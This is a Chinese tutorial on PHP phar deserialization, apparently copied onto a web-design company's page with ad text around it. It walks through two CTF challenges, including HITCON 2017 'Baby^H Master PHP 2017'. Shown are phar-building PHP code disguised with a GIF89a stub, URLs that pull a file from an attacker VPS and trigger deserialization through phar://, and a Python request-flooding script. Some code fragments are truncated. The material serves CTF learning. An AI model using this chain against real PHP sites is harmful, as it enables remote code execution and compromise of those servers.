十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
这篇文章将为大家详细讲解有关PHP反序列化入门中phar是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
在杏花岭等地区,都构建了全面的区域性战略布局,加强发展的系统性、市场前瞻性、产品创新能力,以专注、极致的服务理念,为客户提供做网站、网站制作 网站设计制作按需网站开发,公司网站建设,企业网站建设,品牌网站设计,营销型网站,成都外贸网站建设公司,杏花岭网站建设费用合理。
简单来说
phar
就是php
压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file://
php://
等类似,也是一种流包装器。
phar
结构由 4 部分组成
stub
phar 文件标识,格式为xxx;
manifest
压缩文件的属性等信息,以序列化存储;
contents
压缩文件的内容;
signature
签名,放在文件末尾;这里有两个关键点,一是文件标识,必须以
__HALT_COMPILER();?>
结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者phar
存储的meta-data
信息以序列化方式存储,当文件操作函数通过phar://
伪协议解析phar
文件时就会将数据反序列化,而这样的文件操作函数有很多。
以上内容摘自:由 PHPGGC 理解 PHP 反序列化漏洞 。接下来,我们还是通过两个CTF题目来学习phar反序列化的利用。
这题比较简单,可以直接生成 phar文件,然后利用网站的上传图片功能,结合 第11行的 file_exists函数进行phar反序列化利用,生成代码如下:
startBuffering(); $phar->setStub("GIF89a"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?>
这题选用 HITCON2017中的 Baby^H Master PHP 2017一题进行学习,题目点 这里 下载。
题目的意思很明确,要我们利用 Admin类的 __destruct方法来获得 flag。但是 第20行的 $random变量我们无法获得,这样也就无法获得 flag,所以我们要通过匿名类的名字来调用 flag生成函数。
我们可以看看 create_function函数对应的内核源码。( php-src/Zend/zend_builtin_functions.c:1901)
可以看到匿名函数的名字类似于 \0lambda_%d,其中 %d为数字,取决于进程中匿名函数的个数,但是我们每访问一次题目,就会生成一个匿名函数,这样匿名函数的名字就不好控制。这里,我们便要引入 apache-prefork模型(默认模型)介绍(关于该模型的介绍,可以参考: Apache的三种MPM模式比较:prefork,worker,event )。当用户请求过大时,超过 apache默认设定的阀值时,就会启动新的线程来处理请求,此时在新的线程中,匿名函数的名字又会从1开始递增,这样我们就容易猜测匿名函数的名字了。
接下来我们就来找反序列化的利用点,我们很快看到 第35行反序列化了一个可控的 $data变量,但是上一行有一个 hash_equals函数进行了数据校验,而 $SECRET的值不可知,这就没法利用这一反序列化点。接着我们会看到 第40行有一个上传 gif文件功能,且 $data变量可控。那么攻击思路就是,我们先通过将构造好的 phar文件传到服务器上,再利用可控的 $_GET["url"]结合 phar协议,进行反序列化。用于生成 phar的代码如下:
avatar = 'avatar.gif'; } } class Admin extends User { } $o = new Admin(); $filename = 'avatar.phar'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?>
将生成的 avatar.phar放在自己的 vps上并重命名成 avatar.gif,然后将文件上传到题目服务器上:
http://题目IP/index.php?m=upload&url=http://VPS_IP/
接着,我们需要通过大量请求,使 apache重新开启一个新的线程,然后访问如下 url即可完成反序列化并获得 flag:
http://题目IP/index.php?m=upload&url=phar:///var/www/data/xxxx/&lucky=%00lambda_1
关于 phar更深的利用,可以参考这篇文章:Phar与Stream Wrapper造成PHP RCE的深入挖掘
import requests import socket import time from multiprocessing.dummy import Pool as ThreadPool try: requests.packages.urllib3.disable_warnings() except: pass def run(i): while 1: HOST = '127.0.0.1' PORT = 8000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall('GET /avatar.gif HTTP/1.1\nHost: localhost\nConnection: Keep-Alive\n\n') # s.close() print 'ok' time.sleep(0.5) i = 8 pool = ThreadPool( i ) result = pool.map_async( run, range(i) ).get(0xffff)
关于PHP反序列化入门中phar是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。